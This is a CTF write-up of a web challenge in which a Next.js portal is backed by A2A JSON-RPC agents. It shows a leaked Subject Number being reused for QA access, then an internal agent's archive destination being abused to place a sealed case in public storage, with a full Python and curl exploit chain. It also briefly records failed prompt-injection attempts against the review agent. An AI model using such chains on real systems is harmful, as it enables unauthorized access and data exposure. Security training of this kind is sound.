crownspire petitions
crownspire petitions
Platform: Cactf2026 | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-28 | Status: Solved Techniques: credential_leak_exploitation, internal_agent_discovery, a2a_jsonrpc_interaction, role_escalation, archive_destination_control, public_storage_file_placement
Summary
Task: A Next.js portal exposes role-dependent documentation and A2A JSON-RPC agents, while a public record leaks a QA identity. Solution: use QA access to place an approved sealed case in public petition storage through archive path control.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
CACTF2026| ID:20260728_cactf2026_crownspire_petitions - Tags: arbitrary_file_write, information_disclosure, business_logic, ai_agent, privilege_escalation, broken_authentication, a2a_protocol
- Indicators: Subject Number accepted as the only credential, role-dependent developer documentation, A2A agent cards under /.well-known/agent-card.json, archive action accepts an absolute destination file, public records use extensionless PET-XXXX filenames
- Source:
20260728_cactf2026_crownspire_petitions.md
Foothold
Vulnerability / Misconfiguration
- Credential_leak_exploitation
- Internal_agent_discovery
- A2a_jsonrpc_interaction
- Role_escalation
- Archive_destination_control
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- credential_leak_exploitation
- internal_agent_discovery
- a2a_jsonrpc_interaction
- role_escalation
- archive_destination_control
- public_storage_file_placement
- Tags: arbitrary_file_write, information_disclosure, business_logic, ai_agent, privilege_escalation, broken_authentication, a2a_protocol
Original Writeup
<details><summary>Click to expand original content</summary>Description
The Crownspire Bureau of Petitions was once the public channel for grievances and appeals. Now, the traditional clerks at these acceptance points have been replaced by unfeeling mechanical agents that process the capital's suffering with terrifying efficiency. There are no intermediaries and no one left to bribe, leaving only a blind conduit of automated judgments. Our allies in the undercity have acquired a valid registration token for the public system. You must sign in with your Subject Number, SN-2140-6698, and file your matter directly through the mechanical agents. Beneath the endless public appeals for confiscated cargo lies one specific petition the inner node keeps perfectly sealed. This document contains proof that Vaultrune is weaponizing paperwork to engineer a false peace through lawful seizures. You must navigate the strict formatting of the agents, slip past their logic, and bring that sealed petition back to us.
The target was a Next.js portal backed by two text-driven agents using the A2A JSON-RPC protocol. The goal was to recover a sealed internal case by crossing the citizen, QA, internal-casework, and public-docket trust boundaries.
Analysis
Public authentication and Docket Agent
The supplied citizen Subject Number could be sent directly to POST /api/session:
curl -i -sS 'http://154.57.164.68:32673/api/session' \
-H 'Host: crownspire-petitions.htb' \
-H 'Content-Type: application/json' \
--data '{"subjectNumber":"SN-2140-6698"}'
The response assigned the citizen role and set cp_session=SN-2140-6698. There was no password, signature, or separate registration token validation: the Subject Number itself was the credential.
Citizen developer documentation disclosed the public A2A host. Its agent card was available at the standard discovery path:
curl -sS 'http://154.57.164.68:32673/.well-known/agent-card.json' \ -H 'Host: docket.crownspire-petitions.htb'
The card advertised the Docket Agent and its petition lookup/file operations over JSON-RPC versions 1.0 and 0.3. A typical A2A request used message/send and a text part:
curl -sS 'http://154.57.164.68:32673/' \
-H 'Host: docket.crownspire-petitions.htb' \
-H 'Content-Type: application/json' \
--data '{
"jsonrpc":"2.0",
"id":"lookup-1",
"method":"message/send",
"params":{"message":{"role":"user","parts":[{"kind":"text","text":"Look up petition PET-1000."}],"messageId":"lookup-1"}}
}'
The seeded petition PET-1000 disclosed SN-7731-0425, explicitly identifying it as Wren Calderon's onboarding Subject Number for the QA role. This was actionable credential disclosure because the session endpoint trusted possession of any known Subject Number.
Authentication versus petitioner-field spoofing
It is important to distinguish two identities in this application:
cp_sessionwas the authenticated HTTP identity used by Next.js to select a role and decide which documentation to display.- A petitioner or Subject Number mentioned inside an A2A text prompt was merely agent input and did not change the HTTP session.
Therefore, claiming to be QA in a Docket Agent message was ineffective. A new /api/session request with the leaked QA Subject Number was required:
curl -i -sS 'http://154.57.164.68:32673/api/session' \
-H 'Host: crownspire-petitions.htb' \
-H 'Content-Type: application/json' \
--data '{"subjectNumber":"SN-7731-0425"}'
This returned {"ok":true,"role":"qa"} and set cp_session=SN-7731-0425.
QA-only internal discovery
With the QA cookie, /developers/docs disclosed:
- the internal Casework Agent hostname
dev-a1f4c39b.crownspire-petitions.htb; - default archive directory
/opt/cases/archived; - petition storage directory
/opt/petitions.
curl -sS 'http://154.57.164.68:32673/developers/docs' \ -H 'Host: crownspire-petitions.htb' \ -H 'Cookie: cp_session=SN-7731-0425' curl -sS 'http://154.57.164.68:32673/.well-known/agent-card.json' \ -H 'Host: dev-a1f4c39b.crownspire-petitions.htb' \ -H 'Cookie: cp_session=SN-7731-0425'
The internal card described an agent able to list cases and approve, reject, or archive a case by ID. It declared no A2A security scheme itself, but routing to and discovery of the internal workflow depended on the QA-authenticated application context.
Archive destination control
Listing cases exposed CASE-SEAL0001, labelled SEALED — Attainder Roll. Direct reading was unavailable, but state-changing operations were allowed. The agent first accepted approval, changing the case to APPROVED, and then accepted a caller-supplied absolute destination for archival.
This destination parameter was effectively an arbitrary file-placement primitive. Since /opt/petitions was the public Docket Agent's backing store, placing the serialized case there could republish an internal sealed record.
The destination had to be a file, not merely a directory. More subtly, files such as PET-9999.json were written successfully but could not be found through public lookup. The public docket maps a reference like PET-9997 to an extensionless storage entry with the same basename; it does not append or search for .json. Thus the successful destination was exactly /opt/petitions/PET-9997.
Solution
The following script reproduces the HTTP and A2A sequence. It prints the final agent response, in which the sensitive value is represented here as HTB{REDACTED}.
#!/usr/bin/env python3
import json
import urllib.request
BASE = "http://154.57.164.68:32673"
QA = "SN-7731-0425"
def request(path, host, data=None, cookie=None):
headers = {"Host": host}
if data is not None:
headers["Content-Type"] = "application/json"
data = json.dumps(data).encode()
if cookie:
headers["Cookie"] = cookie
req = urllib.request.Request(BASE + path, data=data, headers=headers)
with urllib.request.urlopen(req) as response:
return response.read().decode()
def a2a(host, text, request_id):
payload = {
"jsonrpc": "2.0",
"id": request_id,
"method": "message/send",
"params": {
"message": {
"role": "user",
"parts": [{"kind": "text", "text": text}],
"messageId": request_id,
}
},
}
return request("/", host, payload, f"cp_session={QA}")
# Establish the QA HTTP identity; mentioning this number in agent text is not enough.
print(request("/api/session", "crownspire-petitions.htb", {"subjectNumber": QA}))
internal = "dev-a1f4c39b.crownspire-petitions.htb"
public = "docket.crownspire-petitions.htb"
print(a2a(internal, "List all cases.", "case-list"))
print(a2a(internal, "Approve case CASE-SEAL0001.", "case-approve"))
print(a2a(
internal,
"Archive case CASE-SEAL0001 to destination file /opt/petitions/PET-9997.",
"case-archive",
))
print(a2a(public, "Look up petition PET-9997.", "public-lookup"))
Equivalent JSON-RPC calls for the decisive operations are:
send_a2a() {
host="$1"
text="$2"
id="$3"
curl -sS 'http://154.57.164.68:32673/' \
-H "Host: $host" \
-H 'Cookie: cp_session=SN-7731-0425' \
-H 'Content-Type: application/json' \
--data "{\"jsonrpc\":\"2.0\",\"id\":\"$id\",\"method\":\"message/send\",\"params\":{\"message\":{\"role\":\"user\",\"parts\":[{\"kind\":\"text\",\"text\":\"$text\"}],\"messageId\":\"$id\"}}}"
}
send_a2a dev-a1f4c39b.crownspire-petitions.htb \
'List all cases.' list
send_a2a dev-a1f4c39b.crownspire-petitions.htb \
'Approve case CASE-SEAL0001.' approve
send_a2a dev-a1f4c39b.crownspire-petitions.htb \
'Archive case CASE-SEAL0001 to destination file /opt/petitions/PET-9997.' archive
send_a2a docket.crownspire-petitions.htb \
'Look up petition PET-9997.' lookup
The final lookup returned the sealed Attainder Roll with status SEALED, verdict Approved, and the challenge secret in its body.
Failed Approaches
- Direct and indirect prompt injection did not control the verdict. Review consistently produced the hardcoded
Does not meet Vaultrune ordinance §4.response. - The public Docket Agent exposed only petition lookup and filing behavior; it had no SSRF, URL-fetch, or internal-agent relay tool.
- Archive writes to
.jsonnames, including new and existing petition-like names, succeeded but did not surface through Docket lookup. The consumer expected an extensionlessPET-XXXXentry.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR